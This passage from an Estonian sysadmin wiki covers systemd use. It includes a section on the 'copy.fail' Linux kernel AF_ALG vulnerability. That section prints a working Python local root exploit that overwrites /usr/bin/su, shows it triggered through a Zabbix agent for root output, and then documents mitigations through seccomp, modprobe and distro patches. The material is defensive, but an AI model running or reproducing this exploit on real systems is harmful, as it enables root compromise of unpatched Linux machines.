* uskuda, et pahatahtlik kasutaja süsteemis ei tegutse programme kohale tuues ja neid kävitades (nö tavaline veebiserver pigem ei tohiks lubada ette anda koodi mida käivitatakse; tavaline veebiserver käivitab süsteemi haldajate poolt paigaldatud koodi)&lt;br /&gt;
* lülitada kerneli tasemal välja af_alg funktsionaalsus (modprobe) - mõju globaalne&lt;br /&gt;
* lülitada syscall tulemüüri tasemel välja af_alg funktsionaalsus (nn secure computing ehk seccomp, mis omakorda põhineb bpf tehnikal, vist nn 'Seccomp-BPF', mida ei haldab bpftool (bpftool tegeleb eBPF osakonnaga nähtustega) - mõju protsessile (ja tema järglastele, või systemd service unitiga seotud protsessidele)&lt;br /&gt;
&lt;br /&gt;
Kerneli tasemel välja lülitamine eeldab praktiliselt, et af_alg funktsionaalsus on realiseeritud tuuma moodulite abil (ei ole otse nn /boot/vmlinuz kerneli sisse kompileeritud). Tavaliselt on modulaarne. Mõju on globaalne.&lt;br /&gt;
&lt;br /&gt;
syscall tulemüüri tasemel välja lülitamine on paindlik - saab (peab st muul viisil ei saagi praktiliselt st globaalselt ei saa (kuigi teoreetiliselt saaks init=pid=1 protsessile ka seccomp abil kitsendusi rakendada, aga tavaliselt nii ei tehta) erinevate protsesside (protsesside komplektide) jaoks muudatust kehtestada. Seejuures saab määrata, mis keeldu ületada püüdva protsessiga edasi juhtub: 1. ta töötab edasi, 2. ta töötamine lõpetatakse&lt;br /&gt;
&lt;br /&gt;
====Eksploit näide====&lt;br /&gt;
&lt;br /&gt;
https://copy.fail/ - tõenäoliselt on see nö puhas eksploit, st midagi suurelt temaga katsetamine ussitama ei aja st vaevalt ta interneti isandale sama arvuti /root/.ssh sisu saadab, aga kuna ta page cache sobib ja vaevalt, et seda exploiti on liiga palju testitud ja arendatud, siis ei ole võimatu ext4 failisüsteemi riknemine, arvutis töötavate protsesside segadusse sattumine kuni os krahhini; st proovida ehk maksab, aga arvutis, mis pärast kustutatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ cat /home/tmp/cf.py&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import os as g,zlib,socket as s&lt;br /&gt;
def d(x):return bytes.fromhex(x)&lt;br /&gt;
def c(f,t,c):&lt;br /&gt;
 a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
 try:u.recv(8+t)&lt;br /&gt;
 except:0&lt;br /&gt;
f=g.open(&amp;quot;/usr/bin/su&amp;quot;,0);i=0;e=zlib.decompress(d(&amp;quot;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&amp;quot;))&lt;br /&gt;
while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
g.system(&amp;quot;su&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
$ chmod 0755 /home/tmp/cf.py&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zabbix agent kaudu&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# cat /etc/zabbix/zabbix_agent2.d/misc.conf&lt;br /&gt;
UserParameter=cf,echo id | /home/tmp/cf.py 1&amp;gt;&amp;gt;/home/tmp/cf.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# zabbix_get -k cf -s 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
..&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
page cache puhastamine (&amp;quot;3&amp;quot; kasutamine nö puhastab kõik, inode cache, page cache jne, põhimõtteliselt sobiks ka &amp;quot;1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
katsetamisel võib olla vajalik vahel jällegi moodulid välja lülitada, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# rmmod algif_rng algif_aead algif_skcipher algif_hash af_alg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - systemd service====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on service põhine&lt;br /&gt;
* praktiliselt võiks rakendada avalikku võrku publitseeritud teenuste (protsesside) jaoks mille kaudu võiks olla selline python skript laadse sisu käivitamine (mingit tüüpi exec syscall rakendamine) realistlik&lt;br /&gt;
* öeldakse, et kasutame systemd võimalusi, tehniliselt kasutatakse linux kerneli secure compute võimalusi (seccomp)&lt;br /&gt;
* kehtestamiseks tuleb systemd service stop ja start öelda&lt;br /&gt;
&lt;br /&gt;
systemd service unit muudatus, enne (zabbix-agent protsessi pid on 174841)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174841/status | grep -i secco&lt;br /&gt;
Seccomp:	0&lt;br /&gt;
Seccomp_filters:	0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# root@pwrk-02:~# systemctl edit zabbix-agent2&lt;br /&gt;
[Service]&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
# SystemCallErrorNumber=kill&lt;br /&gt;
# SystemCallErrorNumber=EPERM&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* RestrictAddressFamilies=~AF_ALG konstruktsioon väljendab eitust st kõik protokollid on lubatud v.a. AF_ALG&lt;br /&gt;
* SystemCallErrorNumber kontrollib, mis rikkumist proovinud protsessiga edasi saab&lt;br /&gt;
&lt;br /&gt;
peale muudatust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174842/status | grep -i secco&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Eksploit kasutamine annab nüüd sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
...&lt;br /&gt;
Traceback (most recent call last):&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 9, in &amp;lt;module&amp;gt;&lt;br /&gt;
    while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
                   ^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 5, in c&lt;br /&gt;
    a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
      ^^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/usr/lib/python3.12/socket.py&amp;quot;, line 233, in __init__&lt;br /&gt;
    _socket.socket.__init__(self, family, type, proto, fileno)&lt;br /&gt;
OSError: [Errno 97] Address family not supported by protocol&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - apparmor profile====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Leevendus - modprobe====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on globaalne süsteemile - võib olla on see liiga suure mõjuga st arvuti juures midagi siiski vajab af_alg&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
install algif_aead /bin/true&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* 'install algif_aead' element ütleb, et kui toimub algif_aead mooduli laadimise attampt, siis hoopis täita järgnev käsk - '/bin/true' (mingi teooria kohaselt on /bin/true kasutamine sobivam kui /bin/false kuna vea saamisel võiks süsteem proovida veelkorra moodulit laadida jne)&lt;br /&gt;
* selle käsu andmisel tehniliselt ollakse õnnelik iseensest kuigi sisuliselt midagi ei muutu&lt;br /&gt;
* muudatus kehtestub koheselt&lt;br /&gt;
&lt;br /&gt;
ning parem oleks ehk ka initramfs uuesti tekitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep alg&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/af_alg.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_aead.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_hash.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_rng.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_skcipher.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos/i2c-algo-bit.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/net/xfrm/xfrm_algo.ko.zst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# update-initramfs -u&lt;br /&gt;
update-initramfs: Generating /boot/initrd.img-6.8.0-110-generic&lt;br /&gt;
I: The initramfs will attempt to resume from /dev/dm-2&lt;br /&gt;
I: (/dev/mapper/system-swap)&lt;br /&gt;
I: Set the RESUME variable to override this.&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep 'etc/modprobe.d'&lt;br /&gt;
etc/modprobe.d&lt;br /&gt;
etc/modprobe.d/amd64-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/blacklist-ath_pci.conf&lt;br /&gt;
etc/modprobe.d/blacklist-firewire.conf&lt;br /&gt;
etc/modprobe.d/blacklist-framebuffer.conf&lt;br /&gt;
etc/modprobe.d/blacklist-rare-network.conf&lt;br /&gt;
etc/modprobe.d/blacklist.conf&lt;br /&gt;
etc/modprobe.d/dkms.conf&lt;br /&gt;
etc/modprobe.d/intel-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/iwlwifi.conf&lt;br /&gt;
etc/modprobe.d/mdadm.conf&lt;br /&gt;
etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc - docker rootful====&lt;br /&gt;
&lt;br /&gt;
docker rootful puhul tuleb muuta kahte service'it - kuna child protsessid pärivad vanematelt seccomp jms omadused, siis mõju on tõhus&lt;br /&gt;
&lt;br /&gt;
* docker&lt;br /&gt;
* containerd&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Debian operatsioonisüsteemile parandatud tuum&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-debian-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* https://www.debian.org/security/&lt;br /&gt;
* https://security-tracker.debian.org/tracker/source-package/linux&lt;br /&gt;
* muudatusi saab otsida globaalse CVE nime abil (nt CVE-2026-31431)&lt;br /&gt;
&lt;br /&gt;
====Ubuntu====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Ubuntu operatsioonisüsteemile parandatud kmod pakett&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-ubuntu-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kmod paketis sisaldub fail etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~/20260502# cat etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)&lt;br /&gt;
# This will likely be re-enabled in a subsequent update once an updated&lt;br /&gt;
# kernel has been deployed.&lt;br /&gt;
# Blacklisting the module isn't sufficient, we need to do as below:&lt;br /&gt;
install algif_aead /bin/false&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* küllap parandatud tuum ilmub seejärel&lt;br /&gt;
&lt;br /&gt;
====Proxmox====&lt;br /&gt;
&lt;br /&gt;
20260501 on ilmunud no-subscription repodesse v. 7 tuum, seda see 'copy fail' haavatavus ei puuduta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# uname -a&lt;br /&gt;
Linux pve-svc-02 7.0.0-3-pve #1 SMP PREEMPT_DYNAMIC PMX 7.0.0-3 (2026-04-21T22:56Z) x86_64 GNU/Linux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-configure-systemd-service-hardening-on-ubuntu/view&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:Systemd-nspawn kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* http://en.wikipedia.org/wiki/Systemd&lt;br /&gt;
* http://blog.exppad.com/article/a-docker-like-container-management-using-systemd&lt;br /&gt;
* http://0pointer.net/blog/projects/systemd-for-admins-1.html&lt;br /&gt;
* http://zero-knowledge.org/post/92&lt;br /&gt;
* http://0pointer.de/public/systemd-ebook-psankar.pdf&lt;br /&gt;
* http://ktaraghi.blogspot.com/2013/11/what-is-systemd-and-how-it-works-part-1.html&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=3408</id>
		<title>Systemd kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=3408"/>
		<updated>2026-05-02T10:06:27Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tööpõhimõte - eksploit */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
systemd http://freedesktop.org/wiki/Software/systemd/ ...&lt;br /&gt;
&lt;br /&gt;
Tundub, et 2014 aasta lõpus on Debian v. 8 Jessie koosseisus vaikimisi systemd&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /sbin/init &lt;br /&gt;
 lrwxrwxrwx 1 root root 20 Sep 28 22:33 /sbin/init -&amp;gt; /lib/systemd/systemd&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* Turvalisus ja tegevuste isoleerimine failisüsteemi ja võrgu tasemel, http://0pointer.de/blog/projects/security.html&lt;br /&gt;
* SysV käivitusskripti on imperatiivsed, st shell skriptid praktiliselt, systemd nö käivitusskriptid on deklaratiivsed, st nn .ini failidele sarnase sisuga&lt;br /&gt;
&lt;br /&gt;
===Paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et minimaalsele keskkonnale (nt debootstrap abil moodustatud) tuleb juurde lisada dbus ja polkit tugi, vastasel korral nt systemd-cgls programm ei tööta)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install dbus libpolkit-agent-1-0&lt;br /&gt;
&lt;br /&gt;
===Kasutamine===&lt;br /&gt;
&lt;br /&gt;
Teenuse oleku küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl status ssh.service&lt;br /&gt;
 ● ssh.service - OpenBSD Secure Shell server&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/ssh.service; enabled)&lt;br /&gt;
    Active: active (running) since Tue 2014-11-04 02:43:10 EET; 18h ago&lt;br /&gt;
  Main PID: 1956 (sshd)&lt;br /&gt;
    CGroup: /system.slice/ssh.service&lt;br /&gt;
            └─1956 /usr/sbin/sshd -D&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
 # cat /lib/systemd/system/ssh.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Description=OpenBSD Secure Shell server&lt;br /&gt;
 After=network.target auditd.service&lt;br /&gt;
 ConditionPathExists=!/etc/ssh/sshd_not_to_be_run&lt;br /&gt;
 &lt;br /&gt;
 [Service]&lt;br /&gt;
 EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS&lt;br /&gt;
 ExecReload=/bin/kill -HUP $MAINPID&lt;br /&gt;
 KillMode=process&lt;br /&gt;
 Restart=on-failure&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=multi-user.target&lt;br /&gt;
 Alias=sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuste nimekirja esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl  list-units --type=service | head -n 5&lt;br /&gt;
   UNIT                                 LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
   accounts-daemon.service              loaded active running Accounts Service&lt;br /&gt;
   acpid.service                        loaded active exited  LSB: Start the Advanced Configuration and Power Interface daemon&lt;br /&gt;
   amavis-mc.service                    loaded active exited  LSB: Startup script for amavis master supervisor&lt;br /&gt;
   amavis.service                       loaded active running LSB: Starts amavisd-new mailfilter&lt;br /&gt;
&lt;br /&gt;
Tundub, et teenus saab olla mitmes olekus, üks variant teenuseid on sellised, mis arvuti käivitamisel nö korraks töötavad midagi sisse lülitades ja siis teevad exit, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type=service --state=exited&lt;br /&gt;
 UNIT                             LOAD   ACTIVE SUB    DESCRIPTION&lt;br /&gt;
 getty-static.service             loaded active exited getty on tty2-tty6 if dbus and logind are not available&lt;br /&gt;
 kbd.service                      loaded active exited LSB: Prepare console&lt;br /&gt;
 keymap.service                   loaded active exited LSB: Set keymap&lt;br /&gt;
 modules_dep.service              loaded active exited LSB: modules.dep creation.&lt;br /&gt;
 netfilter-persistent.service     loaded active exited netfilter persistent configuration&lt;br /&gt;
 networking.service               loaded active exited LSB: Raise network interfaces.&lt;br /&gt;
 quota.service                    loaded active exited Check And Enable File System Quotas&lt;br /&gt;
 rc-local.service                 loaded active exited /etc/rc.local Compatibility&lt;br /&gt;
 systemd-random-seed.service      loaded active exited Load/Save Random Seed&lt;br /&gt;
&lt;br /&gt;
===systemd-timedated===&lt;br /&gt;
&lt;br /&gt;
timedatectl programmiga saab seadistada ajavööndit jms&lt;br /&gt;
&lt;br /&gt;
 # timedatectl list-timezones&lt;br /&gt;
 # timedatectl set-timezone Europe/Tallinn&lt;br /&gt;
&lt;br /&gt;
systemd-timedated on ntp klient, mis tuleb kasutamiseks sisse lülitada&lt;br /&gt;
&lt;br /&gt;
 # timedatectl set-ntp true&lt;br /&gt;
&lt;br /&gt;
Tundub, et samaväärne on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable systemd-timesyncd&lt;br /&gt;
 # systemctl start systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Töötamissel annab timedatactl saranase vastuse&lt;br /&gt;
&lt;br /&gt;
 # timedatectl status&lt;br /&gt;
       Local time: Fri 2015-07-31 01:21:26 EEST&lt;br /&gt;
   Universal time: Thu 2015-07-30 22:21:26 UTC&lt;br /&gt;
         RTC time: Thu 2015-07-30 22:21:26&lt;br /&gt;
        Time zone: Europe/Tallinn (EEST, +0300)&lt;br /&gt;
      NTP enabled: yes&lt;br /&gt;
 NTP synchronized: no&lt;br /&gt;
  RTC in local TZ: no&lt;br /&gt;
       DST active: yes&lt;br /&gt;
  Last DST change: DST began at&lt;br /&gt;
                   Sun 2015-03-29 02:59:59 EET&lt;br /&gt;
                   Sun 2015-03-29 04:00:00 EEST&lt;br /&gt;
  Next DST change: DST ends (the clock jumps one hour backwards) at&lt;br /&gt;
                   Sun 2015-10-25 03:59:59 EEST&lt;br /&gt;
                   Sun 2015-10-25 03:00:00 EET&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud ajavööndi Daylight Saving Time algus ja lõpp&lt;br /&gt;
* kas NTP teenust töötab (systemd-timesyncd)&lt;br /&gt;
&lt;br /&gt;
Spetsiifilise NTP serveri kasutamiseks sobib näidata ta seadistusfailis /etc/systemd/timesyncd.conf&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/timesyncd.conf&lt;br /&gt;
 [Time]&lt;br /&gt;
 Servers=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
ja muudatuse kehtestamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl restart systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timesyncd&lt;br /&gt;
 ● systemd-timesyncd.service - Network Time Synchronization&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timesyncd.service; enabled)&lt;br /&gt;
    Active: active (running) since Fri 2015-07-31 09:13:18 EEST; 1min 43s ago&lt;br /&gt;
      Docs: man:systemd-timesyncd.service(8)&lt;br /&gt;
  Main PID: 1179 (systemd-timesyn)&lt;br /&gt;
    Status: &amp;quot;Using Time Server 10.192.0.53:123 (10.192.0.53).&amp;quot;&lt;br /&gt;
    CGroup: /system.slice/systemd-timesyncd.service&lt;br /&gt;
            └─1179 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 &lt;br /&gt;
 Jul 31 09:13:17 postkast systemd-timesyncd[1179]: Using NTP server 10.192.0.53:123 (10.192.0.53).&lt;br /&gt;
 Jul 31 09:13:18 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 32s/+0.621s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:13:50 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 64s/+0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:14:54 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 128s/-0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
&lt;br /&gt;
Taustal tegutseb lisaks systemd-timedated deemon, mis on static, st teda kutsutakse automaatselt vajadusel välja, st käivitatakse&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timedated&lt;br /&gt;
 ● systemd-timedated.service - Time &amp;amp; Date Service&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timedated.service; static)&lt;br /&gt;
    Active: inactive (dead)&lt;br /&gt;
      Docs: man:systemd-timedated.service(8)&lt;br /&gt;
            man:localtime(5)&lt;br /&gt;
            http://www.freedesktop.org/wiki/Software/systemd/timedated&lt;br /&gt;
&lt;br /&gt;
===Rakenduste kasutamine systemd keskkonnas===&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL kasutamine====&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamiseks sobib esmalt järgmise eksemplari osa failisüsteemis ettevalmistada nö tavalisel viisil&lt;br /&gt;
&lt;br /&gt;
 # pg_createcluster 9.4 test&lt;br /&gt;
&lt;br /&gt;
ning käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl start postgresql@9.4-test&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamine paistab sedasi&lt;br /&gt;
&lt;br /&gt;
 # ps -U postgres -o pid,user,cgroup:150,args&lt;br /&gt;
   PID USER     CGROUP                                                                           COMMAND&lt;br /&gt;
 10064 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service /usr/lib/postgresql/9.4/bin/postgres -D /va ...&lt;br /&gt;
 10070 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: checkpointer process&lt;br /&gt;
 10072 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: writer process   &lt;br /&gt;
 10074 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: wal writer process   &lt;br /&gt;
 10076 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: autovacuum launcher process   &lt;br /&gt;
 10078 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: stats collector process   &lt;br /&gt;
 &lt;br /&gt;
 10331 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service /usr/lib/postgresql/9.4/bin/postgres -D /var ...&lt;br /&gt;
 10333 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: checkpointer process   &lt;br /&gt;
 10334 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: writer process   &lt;br /&gt;
 10335 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: wal writer process   &lt;br /&gt;
 10336 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: autovacuum launcher process   &lt;br /&gt;
 10337 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: stats collector process &lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* erinevate PostgreSQL protsessi kompilektide protsessid on sama süsteemi kasutaja postgres omad, aga kuuluvad erinevatesse kerneli CGROUP'idesse&lt;br /&gt;
&lt;br /&gt;
Tapmiseks nö -9 signaaliga&lt;br /&gt;
&lt;br /&gt;
 # systemctl kill -s SIGKILL postgresql@9.4-test.service&lt;br /&gt;
&lt;br /&gt;
====Samba====&lt;br /&gt;
&lt;br /&gt;
Teenuste seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop smbd&lt;br /&gt;
 # systemctl stop nmbd&lt;br /&gt;
&lt;br /&gt;
kontrolliks&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep mb&lt;br /&gt;
&lt;br /&gt;
AD kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start samba-ad-dc&lt;br /&gt;
&lt;br /&gt;
====OpenVPN====&lt;br /&gt;
&lt;br /&gt;
Kui OpenVPN kliendi seadisus asub failis /etc/openvpn/client.conf, siis käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start openvpn@client.service&lt;br /&gt;
&lt;br /&gt;
====Serial konsool====&lt;br /&gt;
&lt;br /&gt;
Serial konsooli käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable serial-getty@ttyS0.service&lt;br /&gt;
 Created symlink from /etc/systemd/system/getty.target.wants/serial-getty@ttyS0.service \&lt;br /&gt;
